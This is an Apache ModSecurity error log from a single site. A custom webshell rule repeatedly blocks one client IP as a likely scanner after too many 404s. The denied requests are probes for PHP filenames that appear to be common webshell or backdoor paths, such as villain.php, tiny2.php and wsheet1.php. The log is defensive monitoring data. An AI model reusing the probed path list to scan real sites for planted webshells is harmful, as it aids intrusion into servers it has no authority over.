[Wed Apr 08 00:02:28.958975 2026] [:error] [pid 37719:tid 37746] [client 20.251.113.42:46111] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "adUqlE09Xv52u2xXGLBtlgAAANg"]
[Wed Apr 08 00:02:29.480015 2026] [:error] [pid 59490:tid 59492] [client 20.251.113.42:44526] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "adUqlUcw8OFbiUZ7Rx2CrgAAAUA"]
[Wed Apr 08 00:02:30.018270 2026] [:error] [pid 59551:tid 59565] [client 20.251.113.42:44025] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/villain.php"] [unique_id "adUqll7LN7Ubyqs-sVtIiAAAAYw"]
[Wed Apr 08 00:02:30.543866 2026] [:error] [pid 59551:tid 59573] [client 20.251.113.42:4383] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/villain.php"] [unique_id "adUqll7LN7Ubyqs-sVtIigAAAZQ"]
[Wed Apr 08 00:02:31.068496 2026] [:error] [pid 37719:tid 37745] [client 20.251.113.42:28772] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/villain.php"] [unique_id "adUql009Xv52u2xXGLBtogAAANc"]
[Wed Apr 08 00:02:31.600654 2026] [:error] [pid 59551:tid 59563] [client 20.251.113.42:62137] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/villain.php"] [unique_id "adUql17LN7Ubyqs-sVtIjgAAAYo"]
[Wed Apr 08 00:02:32.169840 2026] [:error] [pid 37597:tid 37655] [client 20.251.113.42:4359] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-db.php"] [unique_id "adUqmA6uAY0QAy-8EELlZwAAAFU"]
[Wed Apr 08 00:02:32.696625 2026] [:error] [pid 37597:tid 37645] [client 20.251.113.42:62092] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-db.php"] [unique_id "adUqmA6uAY0QAy-8EELlaAAAAEs"]
[Wed Apr 08 00:02:33.225075 2026] [:error] [pid 37597:tid 37634] [client 20.251.113.42:33018] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-db.php"] [unique_id "adUqmQ6uAY0QAy-8EELlawAAAEA"]
[Wed Apr 08 00:02:33.755715 2026] [:error] [pid 59804:tid 59814] [client 20.251.113.42:63320] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-db.php"] [unique_id "adUqmXYVIXiPh5_eJTkPgQAAAgg"]
[Wed Apr 08 00:02:34.281874 2026] [:error] [pid 59804:tid 59827] [client 20.251.113.42:29144] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adUqmnYVIXiPh5_eJTkPhQAAAhU"]
[Wed Apr 08 00:02:34.818925 2026] [:error] [pid 59804:tid 59823] [client 20.251.113.42:54641] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adUqmnYVIXiPh5_eJTkPiAAAAhE"]
[Wed Apr 08 00:02:35.355787 2026] [:error] [pid 59804:tid 59806] [client 20.251.113.42:16789] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adUqm3YVIXiPh5_eJTkPiwAAAgA"]
[Wed Apr 08 00:02:35.899180 2026] [:error] [pid 59551:tid 59577] [client 20.251.113.42:54615] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/red.php"] [unique_id "adUqm17LN7Ubyqs-sVtIlAAAAZg"]
[Wed Apr 08 00:02:36.424338 2026] [:error] [pid 59551:tid 59575] [client 20.251.113.42:29173] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adUqnF7LN7Ubyqs-sVtIlQAAAZY"]
[Wed Apr 08 00:02:36.968068 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:28748] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adUqnHYVIXiPh5_eJTkPjQAAAgs"]
[Wed Apr 08 00:02:37.507017 2026] [:error] [pid 59804:tid 59821] [client 20.251.113.42:29168] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adUqnXYVIXiPh5_eJTkPkQAAAg8"]
[Wed Apr 08 00:02:38.031858 2026] [:error] [pid 59804:tid 59826] [client 20.251.113.42:54632] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adUqnnYVIXiPh5_eJTkPkwAAAhQ"]
[Wed Apr 08 00:02:38.562560 2026] [:error] [pid 59804:tid 59818] [client 20.251.113.42:29182] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "adUqnnYVIXiPh5_eJTkPlgAAAgw"]
[Wed Apr 08 00:02:39.110635 2026] [:error] [pid 59551:tid 59553] [client 20.251.113.42:45577] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "adUqn17LN7Ubyqs-sVtIlwAAAYA"]
[Wed Apr 08 00:02:39.637955 2026] [:error] [pid 12948:tid 12957] [client 20.251.113.42:16792] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "adUqn8beSPAN8LvMqsbTFQAAAQY"]
[Wed Apr 08 00:02:40.172825 2026] [:error] [pid 37598:tid 37674] [client 20.251.113.42:24291] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ava.php"] [unique_id "adUqoO9g7q_cV2WhPazqLgAAAI0"]
[Wed Apr 08 00:02:40.703762 2026] [:error] [pid 37719:tid 37722] [client 20.251.113.42:21733] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxijj.php"] [unique_id "adUqoE09Xv52u2xXGLBtugAAAMA"]
[Wed Apr 08 00:02:41.221129 2026] [:error] [pid 59551:tid 59566] [client 20.251.113.42:21223] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxijj.php"] [unique_id "adUqoV7LN7Ubyqs-sVtInQAAAY0"]
[Wed Apr 08 00:02:41.742339 2026] [:error] [pid 59551:tid 59561] [client 20.251.113.42:39848] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxijj.php"] [unique_id "adUqoV7LN7Ubyqs-sVtIngAAAYg"]
[Wed Apr 08 00:02:42.288992 2026] [:error] [pid 59660:tid 59670] [client 20.251.113.42:35923] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxijj.php"] [unique_id "adUqojp3-oiX2o5bTswxugAAAcg"]
[Wed Apr 08 00:02:42.813596 2026] [:error] [pid 37598:tid 37664] [client 20.251.113.42:29167] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs7.php"] [unique_id "adUqou9g7q_cV2WhPazqMAAAAIM"]
[Wed Apr 08 00:02:43.339454 2026] [:error] [pid 37719:tid 37735] [client 20.251.113.42:19718] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs7.php"] [unique_id "adUqo009Xv52u2xXGLBtwQAAAM0"]
[Wed Apr 08 00:02:43.860516 2026] [:error] [pid 12948:tid 12953] [client 20.251.113.42:4262] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs7.php"] [unique_id "adUqo8beSPAN8LvMqsbTGAAAAQI"]
[Wed Apr 08 00:02:44.385849 2026] [:error] [pid 59551:tid 59558] [client 20.251.113.42:4763] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs7.php"] [unique_id "adUqpF7LN7Ubyqs-sVtIogAAAYU"]
[Wed Apr 08 00:02:44.927407 2026] [:error] [pid 59804:tid 59827] [client 20.251.113.42:21246] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool2.php"] [unique_id "adUqpHYVIXiPh5_eJTkPngAAAhU"]
[Wed Apr 08 00:02:45.453061 2026] [:error] [pid 37719:tid 37739] [client 20.251.113.42:43979] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool2.php"] [unique_id "adUqpU09Xv52u2xXGLBtyQAAANE"]
[Wed Apr 08 00:02:45.985455 2026] [:error] [pid 37596:tid 37614] [client 20.251.113.42:16812] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool2.php"] [unique_id "adUqpapaAOZHEjRWjP2x7gAAAAg"]
[Wed Apr 08 00:02:46.513554 2026] [:error] [pid 37719:tid 37726] [client 20.251.113.42:29178] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool2.php"] [unique_id "adUqpk09Xv52u2xXGLBtywAAAMQ"]
[Wed Apr 08 00:02:47.051027 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:35261] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zjllx.php"] [unique_id "adUqp3YVIXiPh5_eJTkPpAAAAgI"]
[Wed Apr 08 00:02:47.578747 2026] [:error] [pid 59804:tid 59814] [client 20.251.113.42:57602] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zjllx.php"] [unique_id "adUqp3YVIXiPh5_eJTkPpQAAAgg"]
[Wed Apr 08 00:02:48.104354 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:4792] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zjllx.php"] [unique_id "adUqqHYVIXiPh5_eJTkPpwAAAgs"]
[Wed Apr 08 00:02:48.639283 2026] [:error] [pid 59804:tid 59824] [client 20.251.113.42:26788] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zjllx.php"] [unique_id "adUqqHYVIXiPh5_eJTkPqAAAAhI"]
[Wed Apr 08 00:02:49.176580 2026] [:error] [pid 37598:tid 37661] [client 20.251.113.42:34574] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "adUqqe9g7q_cV2WhPazqNwAAAIA"]
[Wed Apr 08 00:02:49.724753 2026] [:error] [pid 37597:tid 37635] [client 20.251.113.42:35260] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "adUqqQ6uAY0QAy-8EELlrgAAAEE"]
[Wed Apr 08 00:02:50.244589 2026] [:error] [pid 59804:tid 59826] [client 20.251.113.42:34598] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "adUqqnYVIXiPh5_eJTkPrgAAAhQ"]
[Wed Apr 08 00:02:50.765513 2026] [:error] [pid 37596:tid 37627] [client 20.251.113.42:32936] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "adUqqqpaAOZHEjRWjP2x8AAAABU"]
[Wed Apr 08 00:02:51.330956 2026] [:error] [pid 59804:tid 59819] [client 20.251.113.42:59605] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "adUqq3YVIXiPh5_eJTkPsQAAAg0"]
[Wed Apr 08 00:02:51.864840 2026] [:error] [pid 37598:tid 37675] [client 20.251.113.42:29129] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "adUqq-9g7q_cV2WhPazqOgAAAI4"]
[Wed Apr 08 00:02:52.407488 2026] [:error] [pid 59660:tid 59686] [client 20.251.113.42:59621] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "adUqrDp3-oiX2o5bTswxvQAAAdg"]
[Wed Apr 08 00:02:52.943016 2026] [:error] [pid 59660:tid 59675] [client 20.251.113.42:35260] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "adUqrDp3-oiX2o5bTswxvgAAAc0"]
[Wed Apr 08 00:02:53.474494 2026] [:error] [pid 37598:tid 37663] [client 20.251.113.42:21191] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adUqre9g7q_cV2WhPazqPAAAAII"]
[Wed Apr 08 00:02:53.998808 2026] [:error] [pid 59804:tid 59829] [client 20.251.113.42:19820] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adUqrXYVIXiPh5_eJTkPtwAAAhc"]
[Wed Apr 08 00:02:54.521593 2026] [:error] [pid 37719:tid 37722] [client 20.251.113.42:59602] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adUqrk09Xv52u2xXGLBt1gAAAMA"]
[Wed Apr 08 00:02:55.061688 2026] [:error] [pid 59490:tid 59513] [client 20.251.113.42:34622] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adUqr0cw8OFbiUZ7Rx2CvQAAAVU"]
[Wed Apr 08 00:02:55.584747 2026] [:error] [pid 59804:tid 59806] [client 20.251.113.42:21634] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "adUqr3YVIXiPh5_eJTkPuAAAAgA"]
[Wed Apr 08 00:02:56.111192 2026] [:error] [pid 59804:tid 59819] [client 20.251.113.42:35241] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "adUqsHYVIXiPh5_eJTkPvAAAAg0"]
[Wed Apr 08 00:02:56.644792 2026] [:error] [pid 37598:tid 37670] [client 20.251.113.42:35210] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "adUqsO9g7q_cV2WhPazqQgAAAIk"]
[Wed Apr 08 00:02:57.169137 2026] [:error] [pid 37598:tid 37678] [client 20.251.113.42:26802] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "adUqse9g7q_cV2WhPazqRgAAAJE"]
[Wed Apr 08 00:02:57.708329 2026] [:error] [pid 37719:tid 37737] [client 20.251.113.42:59610] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adUqsU09Xv52u2xXGLBt2QAAAM8"]
[Wed Apr 08 00:02:58.226070 2026] [:error] [pid 59804:tid 59828] [client 20.251.113.42:4260] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adUqsnYVIXiPh5_eJTkPwQAAAhY"]
